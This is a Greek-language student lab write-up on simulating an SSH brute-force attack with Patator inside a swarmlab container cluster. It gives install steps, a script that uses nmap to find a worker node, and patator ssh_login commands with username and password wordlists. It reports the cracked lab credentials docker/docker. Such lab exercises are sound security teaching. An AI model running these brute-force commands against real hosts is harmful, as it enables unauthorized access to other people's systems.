5.1 KiB
SSH Brute Force
Για την προσομοίωση της επίθεσης SSH Brute Force, επιλέξαμε να χρησιμοποιήσουμε το Patator.
Το Patator είναι ένα εργαλείο, γραμμένο σε python, για Brute Force επιθέσεις, με εξαιρετικά μεγάλο πλήθος modules και πολλές ευέλικτες ρυθμίσεις.
Εγκατάσταση του Patator
Όπως και σε όλα τα ερωτήματα της εργασίας, κάθε υλοποίηση γίνεται σε ξεχωριστό φάκελο. Επομένως, η εγκατάσταση θα γίνει εντός του SSH Brute Force directory. Ως kali users, έχουμε ήδη στη διάθεσή μας το συγκεκριμένο εργαλείο. Σε κάθε άλλη περίπτωση ακολουθούμε μόνο την πρώτη φορα χρήσης του τα εξής βήματα:
- sudo apt update
- sudo apt upgrade -y
- sudo apt install patator -y
- git clone https://github.com/lanjelot/patator.git
Αφού ολοκλρωθεί η εγκατάσταση, συνδεόμαστε στον master, από τον οποίο θα υλοποιηθεί και η επίθεση.
sudo ../swarmlab-sec/install/usr/share/swarmlab.io/sec/swarmlab-sec login
Σημείωση: Προκειμένου να μάθουμε ποια εντολή πρέπει να χρησιμοποιήσουμε για τη συγκεκριμένη επίθεση, ανατρέξαμε στο documentation της patator, μέσω των εντολών:
- python patator.py
- python patator.py ssh_login (καθώς αυτή είναι η επίθεση που μας ενδιαφέρει.)
Το αποτέλεσμα της αναζήτησής μας, είναι η σωστή σύνταξη της εντολής για την εκτέλεση της επίθεσης. Στην προκειμένη περίπτωση, η εντολής είναι της μορφής **ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt -x ignore:mesg='Authentication failed.' **
Έπειτα, δημιουργήσαμε και τρέξαμε ένα script master.sh, το οποίο περιέχει όλες τις εντολές για την υλοποιήση της επίθεσης. ./master.sh
Το master.sh περιέχει τις εξής εντoλές:
-
H my_ip περιέχει την ip διεύθυνση του master.
my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')
*H network περιέχει την ip του δικτύου, την οποία χρησιμοποιούμε για να βρούμε την ip του worker, στον οποίο θα επιτεθούμε.
network=$(echo $my_ip | sed 's/.[0-9]$/.*/')
-
Στη μεταβλητή worker περιέχεται η ip του πρώτου worker, όπως αυτός υπάρχει στο σμήνος. Εάν θέλουμε να επιτεθούμε σε κάποιον άλλο worker, θα βάλουμε το επιθυμητό ψηφίο στην παράμετρο grep worker_ψηφίο.
worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()')
-
Με την ακόλουθη εντολή εκτελείται η επίθεση, όπου:
-
password.txt είναι το αρχείο στο οποίο γίνεται ο έλεγχος για το σωστό κωδικό
-
usernames.txt είναι το αρχείο στο οποίο γίνεται ο έλεγχος για το σωστό όνομα χρήστη
-
host: μεταβλητή που περιέχει την ip του επιτιθέμένου worker
patator ssh_login host=$worker user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt
-
Εάν δε θέλουμε να εμφανιστούν, όλες οι ανεπιτυχείς προσπάθειες της επίθεσης, αλλά μόνο ο σωστός κωδικός, πρέπει να συμπληρώσουμε -x ignore:mesg='Authentication failed.' και η προηγούμενη εντολή θα εκτελεστεί έτσι:
patator ssh_login host=$worker user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Authentication failed.'
Επειδή κάνουμε έλεγχο δύο παραγόντων (username και password), όλοι οι κωδικοί θα δοκιμαστούν για κάθε όνομα χρήστη. Το σωστό αποτέλεσμα, όπως είναι αναμενόμενο, είναι user: docker και password: docker
REFERENCES